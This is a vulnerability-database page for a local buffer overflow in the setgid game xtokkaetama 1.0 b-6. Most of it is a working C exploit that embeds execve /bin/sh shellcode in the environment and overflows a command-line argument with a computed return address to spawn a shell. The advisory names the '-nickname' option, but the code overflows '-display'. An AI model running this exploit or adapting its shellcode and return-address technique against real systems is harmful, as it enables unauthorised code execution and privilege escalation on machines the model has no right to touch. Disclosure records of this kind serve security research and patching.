Lucene search
K

Xtokkaetama 1.0 b-6 Nickname Local Buffer Overflow Vulnerability (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Xtokkaetama 1.0 b-6 Local Buffer Overflow Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/8337/info
 
xtokkaetama is prone to a locally exploitable buffer overflow vulnerability. This is due to insufficient bounds checking of the '-nickname' command line option, which could result in execution of arbitrary code in the context of the software.
 
The software is typically installed setgid 'games'.

/*
 ** Linux/BSD x86 exploit vs xtokkaetama (c) gunzip
 ** I don't think you can do something nasty  
 ** with egid=games however (so this is mostly useless) 
 ** just written with the idea to make expl targetless.
 ** mostly ripped from gera's paper about bof :-o
 ** http://members.xoom.it/gunzip/
 ** gunzip@ircnet <[email protected]>
 **
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

#define SIZE		20
#define PATH 		"/usr/games/xtokkaetama"

unsigned long STACKBASE() 
{
	__asm__ ( "movl	%esp,	%eax" );
}

/**
 ** linux and bsd execve shellcode by me
 **/
unsigned char shellcode[] = 	
	"\x31\xc0\x99\x52\x68\x2f\x2f\x73"
	"\x68\x68\x2f\x62\x69\x6e\x89\xe3"
	"\x52\x53\x89\xe1\x52\x51\x53\x54"
	"\x8c\xe0\x85\xc0\x75\x04\xb0\x0b"
	"\xeb\x02\xb0\x3b\xcd\x80";

int main( int argc, char *argv[] )
{
	unsigned long	i, ret ;
	unsigned char	buf[ SIZE + 1 ],
			* env[]= { shellcode, NULL },
 			* run[]= { PATH, "-display", buf, NULL };

  	ret = ( ( STACKBASE() & 0xffff0000 ) | 0xfffa ) 
		- strlen(PATH) - strlen(shellcode) ;

	memset( buf, 0, sizeof(buf) );
  
  	for( i = 0; i < sizeof(buf) - 4; i += 4 ) 
		*(unsigned long *)&buf[i] = ret;

  	if( execve( run[0], (char **)run, (char **)env ) ) {	
		perror( "execve" );
		exit( -1 );
	}
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation